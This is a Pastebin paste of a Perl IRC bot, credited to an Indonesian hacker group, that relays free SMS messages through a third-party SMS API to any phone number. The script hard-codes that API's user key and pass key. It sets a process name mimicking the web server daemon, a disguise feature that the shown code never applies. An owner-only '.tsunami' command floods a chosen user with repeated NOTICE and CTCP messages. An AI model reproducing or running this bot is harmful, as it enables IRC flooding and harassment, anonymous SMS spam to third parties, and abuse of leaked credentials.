Advertisement
mrgobel

sms.pl

Jan 7th, 2017
492
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.46 KB | None | 0 0
  1. ############ SPECIAL THANKS TO ############
  2. #BOT SMS GRATISAN
  3. #POWERED BY BOTSMS / NIXSMS (http://www.botsms.com)
  4. #TERIMA KASIH BANYAK UNTUK LAYANANNYA
  5. #SAYA DEDIKASIKAN UNTUK BINUSHACKER TEAM!! (http://www.binushacker.net)
  6. ############ MOHON JANGAN DIHAPUS ############
  7.  
  8.  
  9. #!/usr/local/bin/perl -w
  10.  
  11.  
  12.  
  13.  
  14. use IO::Socket;
  15. use IO::Select;
  16. use IO::Socket::INET;
  17. use Socket;
  18. use MIME::Base64;
  19.  
  20. ########### SILAKAN EDIT MULAI DARI BAWAH SINI ###########
  21.  
  22.  
  23. # SILAKAN ISI UNTUK SERVER ANDA DISINI.
  24.  
  25. my $server = "irc.allnetwork.org";
  26. my @arnick = ("IDCH-SMS");
  27. my $ident = "Freesms";
  28. my $channel = "#idcloudhost";
  29. my $sock = new IO::Socket::INET(PeerAddr => $server,PeerPort => 6667,Proto => 'tcp') or die "Can't connect\n";
  30. my $owner = "Up";
  31. my $password = "newbie";
  32. my @logged =();
  33. my $procname="/usr/sbin/httpd";
  34.  
  35. ### RANDOM NICK UNTUK KONEKSI###
  36. my $nick = @arnick[rand scalar @arnick];
  37.  
  38. print $sock "NICK $nick\r\n";
  39. print $sock "USER $ident 8 * :4-8=1[4LAYANAN SMS GRATIS1]8=4-\r\n";
  40.  
  41.  
  42. while (my $input = <$sock>) {
  43. if ($input =~ /004/) {
  44. last;
  45. }
  46. if ($input =~ /433/) {
  47.  
  48.  
  49. print $sock "NICK ".$nick."|".int(rand(100))."\r\n";
  50.  
  51. }
  52. print $sock "PRIVMSG ".$channel." :".$input."\r\n";
  53. }
  54.  
  55. print $sock "JOIN $channel\r\n";
  56. print $sock "PRIVMSG $channel : Layanan sms gratis BinusHacker, ketik: .sms 08XXXXXXXXX isipesan\r\n";
  57. print $sock "PRIVMSG $owner : boz....!!!?\r\n";
  58.  
  59. my $ping_counter = 0;
  60.  
  61. while (my $input = <$sock>) {
  62. chop $input;
  63. $input =~ s/\r\n$//;
  64. if ($input =~ /^PING(.*)$/i) {
  65. print $sock "PONG $1\r\n";
  66. $ping_counter = $ping_counter + 1;
  67. if($ping_counter == 100) {
  68. print $sock "PRIVMSG BeschBot :!keep st3v0\r\n";
  69. $ping_counter = 0;
  70. }
  71.  
  72. }
  73.  
  74. #print $sock "PRIVMSG #JW :".$input."\r\n"; <----- ngecek semua input yg diterima oleh bot
  75.  
  76. ####################help######################################
  77. if ($input =~ /^.*\.help(.*)/){
  78.  
  79. @shnick = split("!",$input);
  80. $shnick = @shnick[0];
  81. $shnick =~ s/://g;
  82.  
  83. print $sock "PRIVMSG ".$shnick." : -=[4POWERED BY IDCLOUDHOST - http://www.idcloudhost.com 1]=-\n";
  84. print $sock "PRIVMSG ".$shnick." : -=[#IDCLOUDHOST]=-\n";
  85. print $sock "PRIVMSG ".$shnick." : -=[4ADMIN COMMAND1]=-\n";
  86. print $sock "PRIVMSG ".$shnick." : .join #chan\n";
  87. print $sock "PRIVMSG ".$shnick." : .part #chan\n";
  88. print $sock "PRIVMSG ".$shnick." : .say (nick)\n";
  89. print $sock "PRIVMSG ".$shnick." : .quit\n";
  90. print $sock "PRIVMSG ".$shnick." : .nick nick\n";
  91. print $sock "PRIVMSG ".$shnick." : -=[4PUBLIC COMMAND1]=-\n";
  92. print $sock "PRIVMSG ".$shnick." : .sms no pesan\n";
  93. print $sock "PRIVMSG ".$shnick." : .email pengirim judul(tanpa sepasi judulnya) email-tujuan pesan\n";
  94. }
  95.  
  96. ############################## mesin ###############################
  97. if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.quit(.*)/){
  98. print $sock "QUIT ".$1." ".$2."\r\n";
  99. }
  100. if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.hop(.*)/){
  101. for (1..10){
  102. print $sock "PART ".$1." ".$2."\r\n";
  103. print $sock "JOIN ".$1." ".$2."\r\n";
  104. }
  105. }
  106. if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.join(.*)/){
  107. print $sock "JOIN ".$1." ".$2."\r\n";
  108. }
  109. if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.part(.*)/){
  110. print $sock "PART ".$1." ".$2."\r\n";
  111. }
  112. if ($input =~ /^.*\.whois(.*)/){
  113. print $sock "WHOIS ".$1."\r\n";
  114. $hasil=<$sock>;
  115. print $sock "PRIVMSG ".$channel." ".$hasil."\r\n";
  116. }
  117.  
  118.  
  119.  
  120.  
  121. if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.nick(.*)/){
  122. print $sock "NICK ".$1." ".$2."\r\n";
  123. }
  124. if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.say(.*)/){
  125. print $sock "PRIVMSG ".$1." ".$2."\r\n";
  126. }
  127. if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.tsunami(.*)/){
  128.  
  129. $data = $1;
  130. $data =~ s/\r|\n//g;
  131.  
  132. my @c = split('#', $input);
  133. my @a = split(/ /, @c[1]);
  134. my $chan = "#".@a[0];
  135.  
  136. print $sock "PRIVMSG ".$chan." Hajar ".$data."!!!\r\n";
  137.  
  138. $flood = "AAAA";
  139. for (1..10) {
  140. print $sock "NOTICE ".$data." :".$flood."\r\n";
  141. print $sock "PRIVMSG ".$data." :\001".$flood."\001\n";
  142. }
  143. print $sock "PRIVMSG ".$chan." :Lapor!! ".$data." sudah ditenggelamkan!\r\n";
  144. }
  145. if ($input =~ /^.*\.ping(.*)/){
  146.  
  147. $data = $1;
  148. $data =~ s/\r|\n//g;
  149.  
  150. my @c = split('#', $input);
  151. my @a = split(/ /, @c[1]);
  152. my $chan = "#".@a[0];
  153.  
  154. print $sock "ctcp ".$data." :ping\r\n";
  155. $hasil=<$sock>;
  156. print $sock "PRIVMSG ".$chan." ".$hasil."\r\n";
  157. }
  158. if ($input =~ /^.*\.dns (.*)/){
  159. print $sock "DNS ".$1."\r\n";
  160. $hasil=<$sock>;
  161.  
  162.  
  163. }
  164.  
  165. ###########################sms#############################
  166.  
  167.  
  168. if ($input =~ /^.*\.sms(.*)/){
  169.  
  170. $data = $1;
  171. $data =~ s/\r|\n//g;
  172.  
  173. #ambil chan
  174. my @c = split('#', $input);
  175. my @a = split(/ /, @c[1]);
  176. my $chan = "#".@a[0];
  177.  
  178. #ambil user
  179. @snick = split("!",$input);
  180. $snick = @snick[0];
  181. $snick =~ s/://g;
  182. print $sock "PRIVMSG ".$chan." :pengirim ".$snick."\r\n";
  183. print $sock "PRIVMSG ".$chan." :".$input."\r\n";
  184. #print $sock "PRIVMSG ".$chan." :.$data\r\n";
  185. # no psn-->
  186. # 0857 XXXXXXXXXXX
  187.  
  188. @snomer = split(" ",$data);
  189. #print $sock "PRIVMSG ".$chan." :no tujuan".@snomer[0]."\r\n";
  190. $no = @snomer[0];
  191. $pesan1 = $data;
  192. $pesan1 =~ s/ $no //g;
  193. $pesan1 = $pesan1." \n\nDari $snick \n[IDCH-SMS]"; #<------ di dalam sms
  194. #print $sock "PRIVMSG ".$chan." :".$pesan."\r\n";
  195. if(sendSMS($no,$pesan1)){
  196. print $sock "PRIVMSG ".$chan." :sms terkirim ke ".$no." dari ".$snick."\r\n";
  197. }
  198. else {
  199. print $sock "PRIVMSG ".$chan." :gagal\r\n";
  200. }
  201. }
  202. ################end of sms#################
  203. if ($input =~ /JOIN/){
  204.  
  205. @sjnick = split("!",$input);
  206. $sjnick = @sjnick[0];
  207. $sjnick =~ s/://g;
  208.  
  209. @sjoin = split(" ",$input);
  210. $sjoin = @sjoin[0];
  211. $sjoin =~ s/ //g;
  212.  
  213. print $sock "NOTICE ".$sjnick." : for free sms ketik .sms nomer pesan\r\n";
  214. }
  215.  
  216.  
  217. } #end while
  218.  
  219. sub sendSMS {
  220.  
  221. $no = $_[0];
  222. $pesan1 = $_[1];
  223.  
  224. $site = "http://reguler.zenziva.net/";
  225. $action = "/apps/smsapi.php?";
  226. $Phonenumbers = $no;
  227. $Text = $pesan1;
  228.  
  229.  
  230. #################buat data yg akan di post##############
  231.  
  232. $Post = "userkey=dt02ws&passkey=1sampai8&nohp=".$Phonenumbers."&pesan=".$Text;
  233. $panjang = length $Post;
  234.  
  235. ###############kirim sms###############
  236.  
  237. $socksms = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$site",PeerPort=>"80");
  238. print $socksms "GET $action http/1.1\r\n";
  239. print $socksms "Host: $site\r\n";
  240. print $socksms "Accept: */*\r\n";
  241. print $socksms "User-Agent: BinusHacker\r\n";
  242. print $socksms "Content-type: application/x-www-form-urlencoded\r\n";
  243. print $socksms "Content-length: ".$panjang."\r\n";
  244. print $socksms "Connection: Close\r\n\r\n";
  245. print $socksms $Post;
  246.  
  247. @hasil = <$socksms>;
  248. close($socksms);
  249.  
  250. $hasil = join("",@hasil);
  251. if($hasil=~ /SMS sedang diproses/){
  252. return 1;
  253.  
  254. }
  255. else{
  256. return 0;
  257. }
  258.  
  259.  
  260. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement